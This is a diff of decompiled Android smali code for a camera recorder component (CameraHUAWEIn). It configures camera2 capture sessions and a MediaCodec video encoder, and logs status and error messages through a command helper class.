invoke-virtual {p3, p2, p1}, Landroid/media/MediaCodec;->releaseOutputBuffer(IZ)V
:try_end_4
.catch Ljava/lang/ArithmeticException; {:try_start_4 .. :try_end_4} :catch_3
.catch Ljava/lang/IllegalStateException; {:try_start_4 .. :try_end_4} :catch_2
goto :goto_2
:catch_2
move-exception p2
.line 139
iget-object p3, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p3, p3, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {p3, p2}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
.line 140
sput-boolean p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->Restarting:Z
goto :goto_2
:catch_3
move-exception p1
.line 136
iget-object p2, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p2, p2, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {p2, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
.line 137
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mMediaCodec:Landroid/media/MediaCodec;
invoke-virtual {p1}, Landroid/media/MediaCodec;->reset()V
:goto_2
return-void
.end method
.method public onOutputFormatChanged(Landroid/media/MediaCodec;Landroid/media/MediaFormat;)V
.locals 0
.line 152
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mMediaCodec:Landroid/media/MediaCodec;
invoke-virtual {p1}, Landroid/media/MediaCodec;->getOutputFormat()Landroid/media/MediaFormat;
.line 153
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$1;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
const-string p2, "result=MediaCodecf onOutputFormatChanged."
invoke-virtual {p1, p2}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
return-void
.end method

View File

@@ -0,0 +1,550 @@
.class Lcom/nvav/srv/recorder/CameraHUAWEIn$2;
.super Landroid/hardware/camera2/CameraDevice$StateCallback;
.source "CameraHUAWEIn.java"
# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
value = Lcom/nvav/srv/recorder/CameraHUAWEIn;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x0
name = null
.end annotation
# instance fields
.field final synthetic this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
# direct methods
.method constructor <init>(Lcom/nvav/srv/recorder/CameraHUAWEIn;)V
.locals 0
.line 158
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
invoke-direct {p0}, Landroid/hardware/camera2/CameraDevice$StateCallback;-><init>()V
return-void
.end method
# virtual methods
.method public onClosed(Landroid/hardware/camera2/CameraDevice;)V
.locals 1
.line 194
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
const-string v0, "result=Camera close."
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
return-void
.end method
.method public onDisconnected(Landroid/hardware/camera2/CameraDevice;)V
.locals 1
.line 198
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
const-string v0, "result=Camera disconnected."
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
const/4 p1, 0x1
.line 199
sput-boolean p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->Restarting:Z
return-void
.end method
.method public onError(Landroid/hardware/camera2/CameraDevice;I)V
.locals 1
.line 203
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
const-string v0, "result=Camera error."
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
.line 204
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-static {p2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object p2
filled-new-array {p2}, [Ljava/lang/Object;
move-result-object p2
const-string v0, "result=C.E(%d)"
invoke-static {v0, p2}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object p2
invoke-virtual {p1, p2}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
return-void
.end method
.method public onOpened(Landroid/hardware/camera2/CameraDevice;)V
.locals 11
.line 161
const-string v0, "frame-rate"
const-string v1, "bitrate"
const-string v2, "video/avc"
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v3, v3, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
const-string v4, "result=Camera open."
invoke-virtual {v3, v4}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
.line 163
:try_start_0
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iput-object p1, v3, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mCamera:Landroid/hardware/camera2/CameraDevice;
.line 164
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v3, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mCameraManager:Landroid/hardware/camera2/CameraManager;
iget-object v4, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v4, v4, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mCamera:Landroid/hardware/camera2/CameraDevice;
invoke-virtual {v4}, Landroid/hardware/camera2/CameraDevice;->getId()Ljava/lang/String;
move-result-object v4
invoke-virtual {v3, v4}, Landroid/hardware/camera2/CameraManager;->getCameraCharacteristics(Ljava/lang/String;)Landroid/hardware/camera2/CameraCharacteristics;
move-result-object v3
iput-object v3, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->properties:Landroid/hardware/camera2/CameraCharacteristics;
.line 165
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->properties:Landroid/hardware/camera2/CameraCharacteristics;
sget-object v3, Landroid/hardware/camera2/CameraCharacteristics;->SCALER_STREAM_CONFIGURATION_MAP:Landroid/hardware/camera2/CameraCharacteristics$Key;
invoke-virtual {p1, v3}, Landroid/hardware/camera2/CameraCharacteristics;->get(Landroid/hardware/camera2/CameraCharacteristics$Key;)Ljava/lang/Object;
move-result-object p1
check-cast p1, Landroid/hardware/camera2/params/StreamConfigurationMap;
.line 166
const-class v3, Landroid/media/MediaCodec;
invoke-virtual {p1, v3}, Landroid/hardware/camera2/params/StreamConfigurationMap;->getOutputSizes(Ljava/lang/Class;)[Landroid/util/Size;
move-result-object p1
.line 167
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
const/4 v4, 0x0
iput-object v4, v3, Lcom/nvav/srv/recorder/CameraHUAWEIn;->MaxSize:Landroid/util/Size;
.line 168
array-length v3, p1
const/4 v5, 0x0
move v6, v5
:goto_0
const/4 v7, 0x2
if-ge v6, v3, :cond_1
aget-object v8, p1, v6
invoke-virtual {v8}, Landroid/util/Size;->getWidth()I
move-result v9
iget-object v10, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v10, v10, Lcom/nvav/srv/recorder/CameraHUAWEIn;->CamResFPS:[Ljava/lang/String;
aget-object v7, v10, v7
invoke-static {v7}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
move-result v7
if-ne v9, v7, :cond_0
invoke-virtual {v8}, Landroid/util/Size;->getHeight()I
move-result v7
iget-object v9, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v9, v9, Lcom/nvav/srv/recorder/CameraHUAWEIn;->CamResFPS:[Ljava/lang/String;
const/4 v10, 0x3
aget-object v9, v9, v10
invoke-static {v9}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
move-result v9
if-ne v7, v9, :cond_0
iget-object v7, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iput-object v8, v7, Lcom/nvav/srv/recorder/CameraHUAWEIn;->MaxSize:Landroid/util/Size;
:cond_0
add-int/lit8 v6, v6, 0x1
goto :goto_0
.line 169
:cond_1
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
const-string v3, "result=Width:%d Height:%d"
new-array v6, v7, [Ljava/lang/Object;
iget-object v7, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v7, v7, Lcom/nvav/srv/recorder/CameraHUAWEIn;->MaxSize:Landroid/util/Size;
invoke-virtual {v7}, Landroid/util/Size;->getWidth()I
move-result v7
invoke-static {v7}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v7
aput-object v7, v6, v5
iget-object v7, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v7, v7, Lcom/nvav/srv/recorder/CameraHUAWEIn;->MaxSize:Landroid/util/Size;
invoke-virtual {v7}, Landroid/util/Size;->getHeight()I
move-result v7
invoke-static {v7}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v7
const/4 v8, 0x1
aput-object v7, v6, v8
invoke-static {v3, v6}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object v3
invoke-virtual {p1, v3}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
.line 170
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v3, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->MaxSize:Landroid/util/Size;
invoke-virtual {v3}, Landroid/util/Size;->getWidth()I
move-result v3
iget-object v6, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v6, v6, Lcom/nvav/srv/recorder/CameraHUAWEIn;->MaxSize:Landroid/util/Size;
invoke-virtual {v6}, Landroid/util/Size;->getHeight()I
move-result v6
invoke-static {v2, v3, v6}, Landroid/media/MediaFormat;->createVideoFormat(Ljava/lang/String;II)Landroid/media/MediaFormat;
move-result-object v3
iput-object v3, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->format:Landroid/media/MediaFormat;
.line 171
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->format:Landroid/media/MediaFormat;
const-string v3, "color-format"
const v6, 0x7f000789
invoke-virtual {p1, v3, v6}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
.line 172
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v3, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->CamResFPS:[Ljava/lang/String;
const/4 v6, 0x5
aget-object v3, v3, v6
invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
move-result v3
iput v3, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->FPS:I
.line 173
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->format:Landroid/media/MediaFormat;
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v3, v3, Lcom/nvav/srv/recorder/CameraHUAWEIn;->CamResFPS:[Ljava/lang/String;
aget-object v3, v3, v5
invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
move-result v3
invoke-virtual {p1, v1, v3}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
.line 174
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->format:Landroid/media/MediaFormat;
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget v3, v3, Lcom/nvav/srv/recorder/CameraHUAWEIn;->FPS:I
invoke-virtual {p1, v0, v3}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
.line 175
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->format:Landroid/media/MediaFormat;
const-string v3, "i-frame-interval"
invoke-virtual {p1, v3, v8}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
.line 177
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
const-string v3, "result=BitRate:%s"
new-array v6, v8, [Ljava/lang/Object;
iget-object v7, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v7, v7, Lcom/nvav/srv/recorder/CameraHUAWEIn;->CamResFPS:[Ljava/lang/String;
aget-object v7, v7, v5
aput-object v7, v6, v5
invoke-static {v3, v6}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object v3
invoke-virtual {p1, v3}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
.line 178
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
const-string v3, "result=BitRate:%d"
new-array v6, v8, [Ljava/lang/Object;
iget-object v7, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v7, v7, Lcom/nvav/srv/recorder/CameraHUAWEIn;->format:Landroid/media/MediaFormat;
invoke-virtual {v7, v1}, Landroid/media/MediaFormat;->getInteger(Ljava/lang/String;)I
move-result v1
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v1
aput-object v1, v6, v5
invoke-static {v3, v6}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object v1
invoke-virtual {p1, v1}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
.line 179
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
const-string v1, "result=FrameRate:%d"
new-array v3, v8, [Ljava/lang/Object;
iget-object v6, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v6, v6, Lcom/nvav/srv/recorder/CameraHUAWEIn;->format:Landroid/media/MediaFormat;
invoke-virtual {v6, v0}, Landroid/media/MediaFormat;->getInteger(Ljava/lang/String;)I
move-result v0
invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v0
aput-object v0, v3, v5
invoke-static {v1, v3}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object v0
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
.line 180
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
invoke-static {v2}, Landroid/media/MediaCodec;->createEncoderByType(Ljava/lang/String;)Landroid/media/MediaCodec;
move-result-object v0
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mMediaCodec:Landroid/media/MediaCodec;
.line 181
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mMediaCodec:Landroid/media/MediaCodec;
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEIn;->format:Landroid/media/MediaFormat;
invoke-virtual {p1, v0, v4, v4, v8}, Landroid/media/MediaCodec;->configure(Landroid/media/MediaFormat;Landroid/view/Surface;Landroid/media/MediaCrypto;I)V
.line 182
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mMediaCodec:Landroid/media/MediaCodec;
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraHUAWEIn;->access$200(Lcom/nvav/srv/recorder/CameraHUAWEIn;)Landroid/media/MediaCodec$Callback;
move-result-object v0
invoke-virtual {p1, v0}, Landroid/media/MediaCodec;->setCallback(Landroid/media/MediaCodec$Callback;)V
.line 183
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mMediaCodec:Landroid/media/MediaCodec;
invoke-virtual {v0}, Landroid/media/MediaCodec;->createInputSurface()Landroid/view/Surface;
move-result-object v0
invoke-static {p1, v0}, Lcom/nvav/srv/recorder/CameraHUAWEIn;->access$302(Lcom/nvav/srv/recorder/CameraHUAWEIn;Landroid/view/Surface;)Landroid/view/Surface;
.line 184
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
new-instance v0, Ljava/util/ArrayList;
invoke-direct {v0}, Ljava/util/ArrayList;-><init>()V
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mOutputSurfaces:Ljava/util/List;
.line 185
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mOutputSurfaces:Ljava/util/List;
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraHUAWEIn;->access$300(Lcom/nvav/srv/recorder/CameraHUAWEIn;)Landroid/view/Surface;
move-result-object v0
invoke-interface {p1, v0}, Ljava/util/List;->add(Ljava/lang/Object;)Z
.line 186
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mCamera:Landroid/hardware/camera2/CameraDevice;
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mOutputSurfaces:Ljava/util/List;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->sessionListener:Landroid/hardware/camera2/CameraCaptureSession$StateCallback;
invoke-virtual {p1, v0, v1, v4}, Landroid/hardware/camera2/CameraDevice;->createCaptureSession(Ljava/util/List;Landroid/hardware/camera2/CameraCaptureSession$StateCallback;Landroid/os/Handler;)V
.line 187
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mMediaCodec:Landroid/media/MediaCodec;
invoke-virtual {p1}, Landroid/media/MediaCodec;->start()V
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
goto :goto_1
:catch_0
move-exception p1
.line 189
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
:goto_1
return-void
.end method

View File

@@ -0,0 +1,899 @@
.class Lcom/nvav/srv/recorder/CameraHUAWEIn$3;
.super Landroid/hardware/camera2/CameraCaptureSession$StateCallback;
.source "CameraHUAWEIn.java"
# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
value = Lcom/nvav/srv/recorder/CameraHUAWEIn;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x0
name = null
.end annotation
# instance fields
.field final synthetic this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
# direct methods
.method constructor <init>(Lcom/nvav/srv/recorder/CameraHUAWEIn;)V
.locals 0
.line 214
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
invoke-direct {p0}, Landroid/hardware/camera2/CameraCaptureSession$StateCallback;-><init>()V
return-void
.end method
# virtual methods
.method public onActive(Landroid/hardware/camera2/CameraCaptureSession;)V
.locals 2
.line 243
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
const-string v0, "result=Session active."
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
.line 244
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide v0
invoke-static {v0, v1}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
move-result-object p1
filled-new-array {p1}, [Ljava/lang/Object;
move-result-object p1
const-string v0, "time %d"
invoke-static {v0, p1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object p1
const-string v0, "CameraCaptureSession ac"
invoke-static {v0, p1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
return-void
.end method
.method public onClosed(Landroid/hardware/camera2/CameraCaptureSession;)V
.locals 2
.line 248
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
const-string v0, "result=Session closed."
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
.line 250
:try_start_0
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->SCALER_CROP_REGION:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v0
check-cast v0, Landroid/graphics/Rect;
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->rect:Landroid/graphics/Rect;
.line 251
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_EXPOSURE_COMPENSATION:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v0
check-cast v0, Ljava/lang/Integer;
invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
move-result v0
iput v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->aec:I
.line 252
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->CONTROL_EFFECT_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v0
check-cast v0, Ljava/lang/Integer;
invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
move-result v0
iput v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->cem:I
.line 253
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_REGIONS:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v0
check-cast v0, [Landroid/hardware/camera2/params/MeteringRectangle;
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->cafr:[Landroid/hardware/camera2/params/MeteringRectangle;
.line 254
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
